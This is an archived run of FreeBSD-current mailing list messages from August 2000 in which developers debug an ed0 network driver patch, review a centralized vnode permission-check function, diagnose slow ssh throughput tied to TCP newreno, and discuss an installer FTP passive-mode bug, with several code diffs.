tanimura@r.dl.itc.u-tokyo.ac.jp on Thu, Aug 17, 2000 at 12:46:39PM +0900 To: Seigo Tanimura Cc: freebsd-current@FreeBSD.ORG Mail-followup-to: Seigo Tanimura , freebsd-current@freebsd.org Message-Id: <00Aug17.153605est.115251@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-17 12:46:39 +0900, Seigo Tanimura wrote: >peter.jeremy> a verbose boot shows: >peter.jeremy> ed0: failed to clear shared memory at cc000 - check configuration >peter.jeremy> ed0 failed to probe at port 0x300-0x31f iomem 0xcc000-0xcffff irq 7 on isa0 > >Newbusification in the last commit was not done completely because >resource tags and handles were not used proplerly. Could you please >apply the following patch and see if your card works? Still not working. It now reports: ed0: failed to clear shared memory at 0 - check configuration Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 23:47:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from ywing.creative.net.au (ywing.creative.net.au [203.56.168.34]) by hub.freebsd.org (Postfix) with ESMTP id 0CECA37B63F; Wed, 16 Aug 2000 23:47:21 -0700 (PDT) (envelope-from adrian@ywing.creative.net.au) Received: (from adrian@localhost) by ywing.creative.net.au (8.9.3/8.9.3) id IAA08196; Thu, 17 Aug 2000 08:55:24 +0200 (CEST) (envelope-from adrian) Date: Thu, 17 Aug 2000 08:55:24 +0200 From: Adrian Chadd To: Poul-Henning Kamp Cc: freebsd-current@FreeBSD.ORG Subject: Re: Patch test & review: vop_stdaccess() Message-ID: <20000817085524.A7177@ywing.creative.net.au> References: <53850.966458102@critter> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <53850.966458102@critter>; from phk@FreeBSD.ORG on Wed, Aug 16, 2000 at 10:35:02PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Aug 16, 2000, Poul-Henning Kamp wrote: > > Please test and review this patch: > > http://phk.freebsd.dk/patch/vop_stdaccess.patch > > This patch creates a centralized function "vop_stdaccess()" which > does the "canonical" permission check on a vnode. > > This code was duplicated in 5 filesystems and morphed in a 6th. > > Files touched: > > Index: fs/hpfs/hpfs_vnops.c > Index: isofs/cd9660/cd9660_vnops.c > Index: kern/vfs_default.c > Index: miscfs/kernfs/kernfs_vnops.c > Index: msdosfs/msdosfs_vnops.c > Index: ntfs/ntfs_vnops.c > Index: sys/vnode.h > Index: ufs/ufs/ufs_vnops.c > > Linecount: removes: 243 adds: 79 net change: -164 I reviewed this last night and it looks good. Perhaps someone with credential clue could suggest a change to the cred_uid == 0 check .. ? Adrian -- Adrian Chadd Now 17-year-olds can't play a _video game_ because its called violent - and real violence is still called dinner. -- jamie@mccarthy.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 0: 3:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id 2695F37B640 for ; Thu, 17 Aug 2000 00:03:45 -0700 (PDT) (envelope-from ticso@cicely5.cicely.de) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e7H73Vc03267 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Thu, 17 Aug 2000 09:03:34 +0200 (MET DST) Received: from cicely5.cicely.de (cicely5.cicely.de [10.1.5.7]) by mail.cicely.de (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e7H73Uq54738; Thu, 17 Aug 2000 09:03:31 +0200 (CEST) Received: (from ticso@localhost) by cicely5.cicely.de (8.9.3/8.9.2) id JAA32237; Thu, 17 Aug 2000 09:03:25 +0200 (CEST) (envelope-from ticso) Date: Thu, 17 Aug 2000 09:03:24 +0200 From: Bernd Walter To: Peter Jeremy Cc: current@FreeBSD.ORG Subject: Re: Slow ssh throughput with -current Message-ID: <20000817090324.A32185@cicely5.cicely.de> References: <00Aug10.153604est.115242@border.alcanet.com.au> <00Aug14.140905est.115211@border.alcanet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <00Aug14.140905est.115211@border.alcanet.com.au>; from peter.jeremy@alcatel.com.au on Mon, Aug 14, 2000 at 02:09:01PM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 14, 2000 at 02:09:01PM +1000, Peter Jeremy wrote: > On 2000-Aug-10 15:36:01 +1000, Peter Jeremy wrote: > >I just noticed a really peculiar network slowdown with -current from > >about a week ago. The machine has two NICs - an old 16-bit SMC card > >(ed0) running 10baseT and a PCI SMC card (tx0) running 100baseTX full > >duplex. > > > >When I scp (either ssh-1.2.27 or OpenSSH) to a remote machine via ed0, > >I get a throughput of ~8KB/sec. When I go via tx0, I get ~3MB/sec > >(CPU limited). If I use ftp via ed0, I get wire speed (just over > >1MB/sec). > > Having done some more tests, and a bit more digging, I've found > the culprit is net.inet.tcp.newreno. When set to 1 (the default), > ssh (but not FTP) connections to hosts not on the same subnet > (as determined by in_localaddr()) have an effective window size of > 1 MSS. Same here. It seems that the default was 0 before at least on a current system from July. -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 0:51:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id 046EF37B575 for ; Thu, 17 Aug 2000 00:51:45 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id JAA55372; Thu, 17 Aug 2000 09:51:35 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Boris Popov Cc: current@freebsd.org Subject: Re: Patch test & review: vop_stdaccess() In-Reply-To: Your message of "Thu, 17 Aug 2000 07:54:10 +0700." Date: Thu, 17 Aug 2000 09:51:35 +0200 Message-ID: <55370.966498695@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Boris Pop ov writes: >On Wed, 16 Aug 2000, Poul-Henning Kamp wrote: > >> Please test and review this patch: >> >> http://phk.freebsd.dk/patch/vop_stdaccess.patch > > Looks fine to me except vop_stdaccess() itself. Since VREAD, >VWRITE and VEXEC bits are carefully layed this function can be rewritten >to use single shift operation instead of 3 'or's: > > if (cred->cr_uid != uid) { > amode >>= 3; > if (!groupmember(gid, cred)) > amode >>= 3; > } > return (fmode & amode) == amode ? 0 : EACCES; You are right, but such an optimization should be committed as a the next step. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 1:13:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 83FCA37B7FD for ; Thu, 17 Aug 2000 01:07:38 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: (from uucp@localhost) by rina.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W-rina.r-0.1-11.01.2000) with UUCP id RAA90919; Thu, 17 Aug 2000 17:07:33 +0900 (JST) Received: (from uucp@localhost) by silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W) with UUCP id RAA12221; Thu, 17 Aug 2000 17:02:41 +0900 (JST) Received: from bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W) with ESMTP/IPv4 id QAA04569; Thu, 17 Aug 2000 16:55:58 +0900 (JST) Date: Thu, 17 Aug 2000 16:55:57 +0900 Message-ID: <86vgx09v8y.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> From: Seigo Tanimura To: Peter Jeremy Cc: tanimura@r.dl.itc.u-tokyo.ac.jp, freebsd-current@freebsd.org Subject: Re: Newbusifying ed broke it In-Reply-To: In your message of "Thu, 17 Aug 2000 15:35:59 +1000" <00Aug17.153605est.115251@border.alcanet.com.au> References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug17.153605est.115251@border.alcanet.com.au> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 10) (Capitol Reef) (i386--freebsd) Organization: Carrots MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: multipart/mixed; boundary="Multipart_Thu_Aug_17_16:55:57_2000-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Multipart_Thu_Aug_17_16:55:57_2000-1 Content-Type: text/plain; charset=US-ASCII On Thu, 17 Aug 2000 15:35:59 +1000, Peter Jeremy said: peter.jeremy> Still not working. It now reports: peter.jeremy> ed0: failed to clear shared memory at 0 - check configuration The probe routine cleared and tested IO port instead of memory. Does the following patch work? --Multipart_Thu_Aug_17_16:55:57_2000-1 Content-Type: text/plain; type=patch; charset=US-ASCII Content-Disposition: attachment; filename="if_ed-2.diff" Content-Transfer-Encoding: 7bit Index: if_ed.c =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_ed.c,v retrieving revision 1.1.1.4.6.8 diff -u -r1.1.1.4.6.8 if_ed.c --- if_ed.c 2000/08/16 07:38:31 1.1.1.4.6.8 +++ if_ed.c 2000/08/17 07:21:34 @@ -164,7 +164,7 @@ static void ed_writeb(struct ed_softc *sc, int regno, u_char data) { - bus_space_write_1(sc->bst, sc->bsh, regno, data); + bus_space_write_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, data); } /* @@ -173,7 +173,7 @@ static u_char ed_readb(struct ed_softc *sc, int regno) { - return bus_space_read_1(sc->bst, sc->bsh, regno); + return bus_space_read_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno); } /* @@ -182,7 +182,7 @@ static void ed_writew(struct ed_softc *sc, int regno, u_int16_t data) { - bus_space_write_2(sc->bst, sc->bsh, regno, data); + bus_space_write_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, data); } /* @@ -191,7 +191,7 @@ static u_int16_t ed_readw(struct ed_softc *sc, int regno) { - return bus_space_read_2(sc->bst, sc->bsh, regno); + return bus_space_read_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno); } /* @@ -200,7 +200,7 @@ static void ed_writesw(struct ed_softc *sc, int regno, const u_int16_t *addr, size_t cnt) { - bus_space_write_multi_2(sc->bst, sc->bsh, regno, + bus_space_write_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, addr, cnt); } @@ -210,7 +210,7 @@ static void ed_bcopy_from(struct ed_softc *sc, caddr_t dst, int regno, size_t cnt) { - bus_space_read_multi_1(sc->bst, sc->bsh, regno, + bus_space_read_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), regno, dst, cnt); } @@ -270,8 +270,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res); - sc->nic_addr = sc->asic_addr + ED_WD_NIC_OFFSET; + sc->asic_addr = 0; + sc->nic_addr = ED_WD_NIC_OFFSET; sc->chip_type = ED_CHIP_TYPE_DP8390; if (ED_FLAGS_GETTYPE(flags) == ED_FLAGS_TOSH_ETHER) { @@ -534,7 +534,7 @@ printf("*** ed_alloc_memory() failed! (%d)\n", error); return (error); } - sc->mem_start = rman_get_start(sc->mem_res); + sc->mem_start = 0; /* * allocate one xmit buffer if < 16k, two buffers otherwise @@ -614,7 +614,7 @@ printf("starting memory performance test at 0x%x, size %d...\n", sc->mem_start, memsize*16384); for (i = 0; i < 16384; i++) - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); printf("***DONE***\n"); #endif @@ -622,11 +622,11 @@ /* * Now zero memory and verify that it is clear */ - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); for (i = 0; i < memsize; ++i) { - if (ed_readb(sc, sc->mem_start + i) != 0) { + if (bus_space_read_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start + i) != 0) { device_printf(dev, "failed to clear shared memory at %lx - check configuration\n", sc->mem_start + i); @@ -681,8 +681,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res) + ED_3COM_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_3COM_NIC_OFFSET; + sc->asic_addr = ED_3COM_ASIC_OFFSET; + sc->nic_addr = ED_3COM_NIC_OFFSET; /* * Verify that the kernel configured I/O address matches the board @@ -848,7 +848,7 @@ if (error) return (error); - sc->mem_start = rman_get_start(sc->mem_res); + sc->mem_start = 0; sc->mem_size = memsize; sc->mem_end = sc->mem_start + memsize; @@ -938,10 +938,10 @@ /* * Zero memory and verify that it is clear */ - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, 0x0, memsize); + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); for (i = 0; i < memsize; ++i) - if (ed_readb(sc, sc->mem_start + i) != 0) { + if (bus_space_read_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start + i) != 0) { device_printf(dev, "failed to clear shared memory at %lx - check configuration\n", sc->mem_start + i); return (ENXIO); @@ -1006,8 +1006,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res) + ED_NOVELL_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_NOVELL_NIC_OFFSET; + sc->asic_addr = ED_NOVELL_ASIC_OFFSET; + sc->nic_addr = ED_NOVELL_NIC_OFFSET; /* XXX - do Novell-specific probe here */ @@ -1259,8 +1259,8 @@ return (error); /* Fill in basic information */ - sc->asic_addr = rman_get_start(sc->port_res) + ED_HPP_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_HPP_NIC_OFFSET; + sc->asic_addr = ED_HPP_ASIC_OFFSET; + sc->nic_addr = ED_HPP_NIC_OFFSET; sc->chip_type = ED_CHIP_TYPE_DP8390; sc->isa16bit = 0; /* the 8390 core needs to be in byte mode */ @@ -1409,7 +1409,7 @@ if (error) return (error); - sc->hpp_mem_start = rman_get_start(sc->mem_res); + sc->hpp_mem_start = 0; } /* @@ -2793,11 +2793,11 @@ ed_writeb(sc, sc->nic_addr + ED_P0_CR, ED_CR_RD0 | ED_CR_STA); if (sc->isa16bit) - bus_space_read_multi_2(sc->bst, sc->bsh, + bus_space_read_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, (u_int16_t *) dst, amount / 2); else - bus_space_read_multi_1(sc->bst, sc->bsh, + bus_space_read_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, (u_int8_t *) dst, amount); @@ -2840,7 +2840,7 @@ ed_writesw(sc, sc->asic_addr + ED_NOVELL_DATA, (u_int16_t *) src, len / 2); else - bus_space_write_multi_1(sc->bst, sc->bsh, + bus_space_write_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, src, len); @@ -2957,7 +2957,7 @@ /* NE1000s are easy */ while (m) { if (m->m_len) - bus_space_write_multi_1(sc->bst, sc->bsh, + bus_space_write_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, m->m_data, m->m_len); m = m->m_next; @@ -3115,14 +3115,14 @@ } else { /* Read in data using the I/O port */ if (use_32bit_access && (amount > 3)) { - bus_space_read_multi_4(sc->bst, sc->bsh, + bus_space_read_multi_4(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int32_t *) dst, amount >> 2); dst += (amount & ~3); amount &= 3; } if (amount > 1) { - bus_space_read_multi_2(sc->bst, sc->bsh, + bus_space_read_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int16_t *) dst, amount >> 1); dst += (amount & ~1); @@ -3229,8 +3229,8 @@ } /* output contiguous words */ if ((len > 3) && use_32bit_accesses) { - bus_space_write_multi_4(sc->bst, - sc->bsh, + bus_space_write_multi_4(rman_get_bustag(sc->port_res), + rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int32_t *) data, len); data += (len & ~3); @@ -3364,8 +3364,8 @@ }; /* Default Set */ - sc->asic_addr = rman_get_start(sc->port_res) + ED_NOVELL_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_NOVELL_NIC_OFFSET; + sc->asic_addr = ED_NOVELL_ASIC_OFFSET; + sc->nic_addr = ED_NOVELL_NIC_OFFSET; /* Reset Card */ tmp = ed_readb(sc, sc->asic_addr + ED_NOVELL_RESET); ed_writeb(sc, sc->asic_addr + ED_NOVELL_RESET, tmp); Index: if_ed_pccard.c =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_ed_pccard.c,v retrieving revision 1.1.1.3.6.4 diff -u -r1.1.1.3.6.4 if_ed_pccard.c --- if_ed_pccard.c 2000/08/16 07:38:31 1.1.1.3.6.4 +++ if_ed_pccard.c 2000/08/17 07:21:35 @@ -144,9 +144,7 @@ attr_ioport = rdbuf[2] << 8 | rdbuf[0]; iobase = rman_get_start(sc->port_res); if (attr_ioport != iobase) { -#if notdef - printf("AX88190 IOBASE MISMATCH %04x -> %04x Setting\n",attr_ioport,iobase); -#endif /* notdef */ + /* Write the IO port address to the chip. */ ed_pccard_memwrite(dev,ED_AX88190_IOBASE0,iobase & 0xff); ed_pccard_memwrite(dev,ED_AX88190_IOBASE1,(iobase >> 8) & 0xff); } Index: if_edvar.h =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_edvar.h,v retrieving revision 1.1.1.1.24.3 diff -u -r1.1.1.1.24.3 if_edvar.h --- if_edvar.h 2000/08/16 07:38:31 1.1.1.1.24.3 +++ if_edvar.h 2000/08/17 07:21:35 @@ -48,9 +48,6 @@ struct resource* irq_res; /* resource for irq */ void* irq_handle; /* handle for irq handler */ - bus_space_tag_t bst; /* Bus Space tag */ - bus_space_handle_t bsh; /* Bus Space handle */ - #ifdef __alpha__ u_int asic_addr; /* ASIC I/O bus address */ u_int nic_addr; /* NIC (DS8390) I/O bus address */ --Multipart_Thu_Aug_17_16:55:57_2000-1 Content-Type: text/plain; charset=US-ASCII -- Seigo Tanimura --Multipart_Thu_Aug_17_16:55:57_2000-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 6:47:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 46BBA37B625; Thu, 17 Aug 2000 06:47:50 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id XAA21088; Thu, 17 Aug 2000 23:47:30 +1000 Date: Thu, 17 Aug 2000 23:47:26 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Boris Popov Cc: Poul-Henning Kamp , current@FreeBSD.ORG Subject: Re: Patch test & review: vop_stdaccess() In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 17 Aug 2000, Boris Popov wrote: > On Wed, 16 Aug 2000, Poul-Henning Kamp wrote: > > > Please test and review this patch: > > > > http://phk.freebsd.dk/patch/vop_stdaccess.patch > > Looks fine to me except vop_stdaccess() itself. vop_stdaccess() is badly named. It is not a vop function (one suitable for putting in vop tables). In NetBSD, the corresponding function is: int vaccess __P((enum vtype type, mode_t file_mode, uid_t uid, gid_t gid, mode_t acc_mode, struct ucred *cred)); This is declared in and implemented in kern/vfs_subr.c. It has the following interesting differences: - it checks the X bits for root. Most or all of our filesystems omit this check, so access(2) by root bogusly returns success for X_OK of files with no X bits set, and VOP_ACCESS() can't actually be used to check for X access by root. The POSIX spec for access(2) may permit this braindamage. It permits access(2) for X_OK to succeed for processes with appropriate privilege although no X bits are set. I'm not sure if it requires this success to have anything to do with executability. execve() in the kernel knows not to trust VOP_ACCESS() and does an explicit test of the X bits (hard-coded as 0111 :-()) in check_permissions(). Shells know not to trust access() and do similar explicit tests. - it doesn't bother inlining groupmember(). - it is missing some style bugs. The function could reasonably handle MNT_RDONLY, MNT_NOEXEC and immutability, especially the first two since they are necessary for most filesystems (cd9660 handles MNT_RDONLY although it doesn't support writing). MNT_NOEXEC bogotifies access() in the oppisite direction even for non-root. execve() in the kernel does an explicit check for it. I guess shells and execlp() are confused by it. > Since VREAD, > VWRITE and VEXEC bits are carefully layed this function can be rewritten > to use single shift operation instead of 3 'or's: > > if (cred->cr_uid != uid) { > amode >>= 3; > if (!groupmember(gid, cred)) > amode >>= 3; > } > return (fmode & amode) == amode ? 0 : EACCES; This optimization seems to be intentionally left out. I don't think it is worth doing. Hopefully the compiler will do it. gcc doesn't seem to do it, but I've seen it generate good code for repacking less well laid out bits in device drivers. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 8:55:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id B976E37B6C4 for ; Thu, 17 Aug 2000 08:55:24 -0700 (PDT) Received: from localhost (IDENT:p5l+keMyhC5IbyMewp7cZUQUv4d4ydJoRBUOzufffSJ4lBRZw5TYIaDNb9jz6NKq@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7HFscv19787; Fri, 18 Aug 2000 00:54:38 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Fri, 18 Aug 2000 00:54:33 +0900 (JST) Message-Id: <20000818.005433.112615995.ume@mahoroba.org> To: archie@whistle.com Cc: freebsd-current@freebsd.org Subject: Re: 5.0 snapshot install problem From: Hajimu UMEMOTO In-Reply-To: <200008162031.NAA90755@bubba.whistle.com> References: <200008162031.NAA90755@bubba.whistle.com> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Wed, 16 Aug 2000 13:31:25 -0700 (PDT) >>>>> Archie Cobbs said: archie> I'm having trouble installing the 5.0-20000815-CURRENT snapshot. archie> The problem seems to be broken behavior in the installer FTP client. archie> My firewall requires using passive mode. The installer asks the archie> FTP server for passive mode (using PASV), but then it bogusly asks archie> for active mode (using the PORT command) immediately afterwards. archie> Yes I selected 'passive mode ftp' for the transfer method. It seems -CURRENT's libftpio.c always set passive flag according to environment variable FTP_PASSIVE_MODE. Then, PASV/PORT selection obeys only FTP_PASSIVE_MODE and direction of sysinstall is ignored. Does this patch fix your problem? Index: lib/libftpio/ftpio.c =================================================================== RCS file: /home/ncvs/src/lib/libftpio/ftpio.c,v retrieving revision 1.37 diff -u -u -r1.37 ftpio.c --- lib/libftpio/ftpio.c 2000/07/10 10:00:20 1.37 +++ lib/libftpio/ftpio.c 2000/08/17 15:40:43 @@ -550,7 +550,8 @@ { char *cp = getenv("FTP_PASSIVE_MODE"); - ftpPassive(fp, (cp && strncasecmp(cp, "no", 2))); + if (cp) + ftpPassive(fp, strncasecmp(cp, "no", 2)); } static void -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 10:23:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by hub.freebsd.org (Postfix) with ESMTP id 030EA37BAD3 for ; Thu, 17 Aug 2000 10:23:23 -0700 (PDT) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id KAA08595; Thu, 17 Aug 2000 10:23:18 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id KAA94975; Thu, 17 Aug 2000 10:23:17 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008171723.KAA94975@bubba.whistle.com> Subject: Re: 5.0 snapshot install problem In-Reply-To: <20000818.005433.112615995.ume@mahoroba.org> from Hajimu UMEMOTO at "Aug 18, 2000 00:54:33 am" To: Hajimu UMEMOTO Date: Thu, 17 Aug 2000 10:23:17 -0700 (PDT) Cc: freebsd-current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hajimu UMEMOTO writes: > archie> I'm having trouble installing the 5.0-20000815-CURRENT snapshot. > archie> The problem seems to be broken behavior in the installer FTP client. > archie> My firewall requires using passive mode. The installer asks the > archie> FTP server for passive mode (using PASV), but then it bogusly asks > archie> for active mode (using the PORT command) immediately afterwards. > archie> Yes I selected 'passive mode ftp' for the transfer method. > > It seems -CURRENT's libftpio.c always set passive flag according to > environment variable FTP_PASSIVE_MODE. Then, PASV/PORT selection > obeys only FTP_PASSIVE_MODE and direction of sysinstall is ignored. > Does this patch fix your problem? Don't know, because I'd have to create new install floppies first.. But I don't think this patch would fix things.. I don't see any logical flaw there. ftpPassive() just checks that the toggle is set to the right value -- it doesn't necessarily do anything. The only way I can see that PASV would be sent immediately followed by PORT is due to incorrect logic in the installer (or possibly a bug in libftpio's parsing of the 227 reply). -Archie > Index: lib/libftpio/ftpio.c > =================================================================== > RCS file: /home/ncvs/src/lib/libftpio/ftpio.c,v > retrieving revision 1.37 > diff -u -u -r1.37 ftpio.c > --- lib/libftpio/ftpio.c 2000/07/10 10:00:20 1.37 > +++ lib/libftpio/ftpio.c 2000/08/17 15:40:43 > @@ -550,7 +550,8 @@ > { > char *cp = getenv("FTP_PASSIVE_MODE"); > > - ftpPassive(fp, (cp && strncasecmp(cp, "no", 2))); > + if (cp) > + ftpPassive(fp, strncasecmp(cp, "no", 2)); > } > > static void ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 10:38:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id C08E937BE5E for ; Thu, 17 Aug 2000 10:37:53 -0700 (PDT) Received: from localhost (IDENT:4u+IaM6npURWBeNKMjhGa9Igij71XXWxT63xa7pDIHA/EQ1TGUYlioos+XF0XD9Q@localhost [::1]) (authenticated) by peace.mahoroba.org 